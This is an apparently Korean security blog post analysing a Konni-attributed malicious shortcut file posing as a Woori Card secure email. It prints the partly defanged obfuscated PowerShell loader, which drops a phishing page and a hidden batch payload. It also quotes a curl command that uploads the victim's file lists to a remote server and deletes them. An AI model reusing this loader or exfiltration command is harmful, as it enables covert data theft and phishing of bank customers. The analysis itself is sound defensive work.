오늘은 세계적으로 유명한 APT 조직 북한 코니(Konni)에서 제작한 악성코드 우리은행 사용자 노린 악성코드 WooriCard_20231108.html.lnk(2025.5.19) 에 대해 분석을 해보겠습니다. 일단 해당 악성코드는 우리은행에서 발급하는 우리카드 보안 메일로 위장하는 악성코드입니다.
파일명: WooriCard_20231108.html.lnk
사이즈:50 MB
MD5:7672a9bf5a58e2c17925dbb759ea98ce
SHA-1:ac56bdd7cead82ede6690355e7c9924b1174a1da
SHA-256:50826fc1142a3442c04576c68478eab4909481f010d5eb19220c1757adb272b9
일단 악성코드 내부를 열어보면 난독화된 PowerShell 코드를 볼수가 있습니다.

악성코드 PowerShell
StringData
{
namestring:
relativepath: not present
workingdir: not present
commandlinearguments:/q /c Set O=(a)JEC18wHj4v(y)Ix(h)0WAo3R5O2UgXfPKilNur6tF9n(c)pMQGYeBVDdZzskb
TqL7Sm && call %O:~41,1(%)%O:~18,(1)%%(O):~6,1%%O:~(4)6,1%%O:~34,1%%O:~53(,)1%%
O:~14,1%%O:~46,1%%O:~31,1%%O:~31,1% -%O:~6,1(%)%O:~30,1%%O:(~)39,1%%(O):~5(0),1
(%)%O:~18,1%%O:~6,1%%O:~53,1%%O(:)~36,1%(%)O:~11,1%%O:~31,1%%O:~46,1% %O:~14,(1)
%%O:~30,1%%(O):~5(0),1(%)%O:~50(,)1%%O:~46,1%%O:~39,1% "$LMM4w(p)hBh = Get-Loc(a
)tion;$eTmNMNm(7)CggKR = Get-C(h)ildItem -Path $(L)M(M04wphBh -Recurse *(.)lnk | w
he(r)e-object {$_.length -eq 0x031CCCCC} | Select-Object -ExpandProperty FullName;if($eTm
NMNm7CggKR.length -eq 0) {$LMM4wphBh = $env:Temp;$eTm(N)MNm7CggKR = Get-ChildItem -Path $
LMM4wphBh -Recurse *.lnk | where-object {$_.length -eq 0x031CCCCC} | Select-Object -Expan
dProperty FullName;};$LMM(4)wphBh = Split-Path $eTmNMNm7CggKR;$o(1)o20Ei7S709 = New-Objec
t System.IO(.)FileStream($eTmNMNm7CggKR, [System.IO.FileMode]::Open, [Syste(m).IO.FileAcc
ess]::Read);$o1o20(E)i7S709.Se(e)k(0x00001C30, [System(.)IO.Se(e)kOrigin]::Begin);$Ym16Gf
c = New-Object byte[] 0x0001C(7)0D;$o1o20(E)i7S709.Read($Ym16Gfc, 0, 0x0001C70D);$cRi9qh(
9)eTly = $LMM4wphBh + '\' + [regex]::unesca(p)e('WooriCard_20231108.ht(m)l');sc $cRi9qh9e
Tly $Ym16Gfc -Encoding Byt(e);& $cRi9qh9e(T)ly;$o1o20Ei(7)S709.Seek(0x0001E33D, [System.I
O.SeekOri(g)in]::Begin);$tto4r6kwNfxWgy=New-Object byte[] 0x(0)000105E;$o1o20Ei7S709.Read
($tto4r6kwNfxWgy, 0, 0x0000105E);$o1o20Ei7S709(.)Close();Remove-Item -Path $eTmNMNm7CggKR
-Forc(e);$TojyxlrTd5UI=$env:public + '\batchsv392.cab';sc $TojyxlrTd5UI $tto4r6kwNfxWgy -
Encoding By(t)e;$J2kZXJJlWcVYyl=$env:public (+) '\Libraries';expand $TojyxlrTd(5)UI -f:*
$J2kZXJJlWcVYyl;$xgE_o(O)ikIPOT=$J2kZXJJlWcVYyl + '\avtue483(.)bat';&$xgE_oOikIPOT;Remove
-Item -Pa(t)h $TojyxlrTd5UI -Force;"
iconlocation: .html
}
악성코드 분석

일단 해당 악성코드는 substring 방식을 사용하는 것을 볼 수가 있습니다.
1. 초기 명령 실행 부분 디코딩
O 변수 설정
길이 60여 자의 난독화 문자열을 O 변수에 저장
명령어, 옵션 추출
O:~41,1 등 Batch substring 구문을 통해 아래 문자열들이 순차 추출됨
1. 실행 명령어:powershell
2. 옵션 1:windowstyle
3.옵션 2:hidden
이렇게 실행 구문은
powershell -windowstyle hidden 를 사용을 해서 PowerShell을 배경(창 숨김)으로 실행을 해서 사용자가 모르게 하는 것이 특징
2..lnk 파일 검색 및 페이로드 추출
크기가 정확히 0x31CCCCC(16진수)인 .lnk 파일 검색
0x31CCCCC =52,219,084 bytes 게 되니까? 특정 크기의 .lnk 파일 선택 을 하는 것이 목적 일명 픽미
파일 미 존재 시 Temp 폴더에서 재검색

4..lnk 경로 확보 및 디렉터리 분리
$eTmNMNm7CggKR 변수에 페이로드 .lnk 파일의 전체 경로 저장
3.HTML 페이로드 추출 및 실행
FileStream 생성 후 첫 번째 페이로드(HTML) 읽어 들임
offset 0x1C30=7,216 bytes
length 0x1C70D=116,493 bytes
.lnk 파일 내부 특정 위치에 숨겨진 HTML 코드 부분을 추출
WooriCard_20231108.html 생성 및 저장
HTML 파일 실행
기본 브라우저(또는 HTML 핸들러)로 페이로드 실행
WooriCard 라는 이름으로 우리 은행 이용자를 노린 목적이 아주 친절한 피싱 페이지
4.추가 배치(또는 DLL) 페이로드 추출 및 실행
두 번째 페이로드 읽기
offset 0x1E33D=123,141 bytes
length 0x105E=4,190 bytes
.lnk 파일 삭제 처리
CAB 파일로 저장 및 압축 해제
내부 배치 스크립트 실행 및 정리
avtue483.bat 실행 그러면 avtue483.bat를 확인을 해 보아야 함
악성코드를 실행하면 다음과 같은 화면을 볼 수가 있습니다.
내용은 다음과 같습니다.
보안 메일 비밀번호 입력
본 메일은 고객님의 정보보호를 위해 암호화된 보안메일입니다.
메일을 확인하시려면 아래의 내용을 입력 후 확인해 주시기 바랍니다.
* 개인회원:주민등록상 생년월일 6자리 입력
* 기업회원:사업자번호 10자리 입력
* 가맹점회원:사업자번호 10자리 입력
그리고 악성코드 실행이 되고 나면 C:\Users\Public\Libraries 폴더에 각각 악성코드들이 들어가 져 있는 것을 확인할 수가 있습니다.
생성된 날짜들을 보면 2023년 한탕 한 것 같은 느낌이 듭니다.
avtue483.bat
chbbie400.bat
chbbie400.bat
vxnklcn989.vbs
xoicnew
입니다.
해당 생성된 파일들을 열어보면 난독화 가 돼 있는 것을 확인할 수가 있습니다.
avtue483.bat 코드 분석
1.초기 설정 및 현재 폴더로 이동
@echo off:스크립트 실행 시 명령 창에 명령어 자체를 출력하지 않도록 설정
Set XIQckFMoub=…:난독화된 문자열을 환경 변수 XIQckFMoub 에 한 번만 저장
3.pushd "%~dp0":XIQckFMoub 내부에서 부분 문자열을 추출해서 pushd 명령어로 디코더(%~d p0 —배치 파일이 위치한 폴더)로 현재 작업 디렉터리를 변경->추출 로직은 O:~58,1→p,O:~14,1->u, O:~33,1`→`s`, O:~48,1->h,O:~29,1
2.사용자 프로필 주요 폴더 목록 수집
%XIQckFMo(u)b:~(2)9,1%(%)XIQckFMoub:~32(,)1%(%)XIQckFMoub:~3,1% C:\Users\%username%\Desktop\ /s /b /a-d > Desktop_list(.)txt
%XIQc(k)FMoub:~29,1%%XI(Q)ckFMoub:~32,1%%XI(Q)ckFMoub:~3,1% C:\Users\%username%\Documents\ /s /b /a-d > Documents_list.txt
(총 6개 폴더:Desktop,Documents,Downloads,Music,Pictures,Videos)
dir 명령으로 재귀(/s), 간단 경로 리스트(/b), 파일만(/a-d)을 뽑아 폴더별로 텍스트 파일에 저장
수집 대상:
1.Desktop
2.Documents
3.Downloads
4.Music
5.Pictures
6.Videos
사용자 환경에서 주요 개인 파일 위치의 전체 파일 목록(경로) 확보
3.원격 전송을 위한 주소(URL) 구성
set UploadURL=…

set 명령으로 UploadURL 환경 변수에 hxxps://…/data 형태의 원격 서버 주소를 저장
4. 수집한 목록 파일 전송 루프
실제 스크립트에서는 curl 또는 bitsadmin,powershell Invoke-WebRequest 등의 명령어를 비슷하게 추출·호출하고 있으며 난독화된 변수 확장을 통해 한 줄씩 각 목록 파일을 원격에 전송하도록 구성돼 있음
uplokli567.bat 포함된 악성코드 분석
1.pushd "%\~dp0:현재 BAT 파일이 위치한 디렉터리로 이동
2.curl -X POST -H "Content-Type\:multipart/form-data" -F "name=%COMPUTERNAME%" -F "data=@%\~dp0%2" %1:현재 경로의 %2파일을 %1(외부 서버)로 업로드,컴퓨터 이름 포함

3.del /f /q %2:업로드한 파일을 강제 삭제
이렇게 간단하게 우리 카드 사용자를 노리는 우리 북한 동포 해킹 단체에서 만든 악성코드에 대해 간단하게 알아보았습니다.
'소프트웨어 팁 > 보안 및 분석' 카테고리의 다른 글
| 러시아 프로 농구 선수 다닐 카사트킨 (Daniil Kasatkin) 랜섬웨어 공격에 가담한 혐의로 체포 (0) | 2025.07.13 |
|---|---|
| 7-Zip 25.00 보안 업데이트 및 더 많은 CPU 스레드를 지원하고 압축 속도를 향상 (0) | 2025.07.12 |
| 윈도우 11,윈도우 10 KB5062553,KB5062552,KB5062554 보안 업데이트 (0) | 2025.07.10 |
| 악성코드 감염 및 도박 사이트 연결 하는 클픽픽스(ClickFix) 공격 분석(2025.7.6) (0) | 2025.07.09 |
| 펌프닷(pump(.)fun) 사칭 ClickFix(클릭픽스) 악성코드 공격 (0) | 2025.07.04 |
| Mozilla Monitor 를 이용한 개인정보 유출 확인 방법 (0) | 2025.07.03 |
| 마이크로소프트는 안티바이러스 프로그램을 커널 수준에서 실행하는 것을 중단 중 (0) | 2025.07.02 |
| 김수키(Kimsuky) 조직 여권 위장 공격:개인정보 탈취를 위한 악성코드 분석(2025.6.18) (0) | 2025.07.01 |





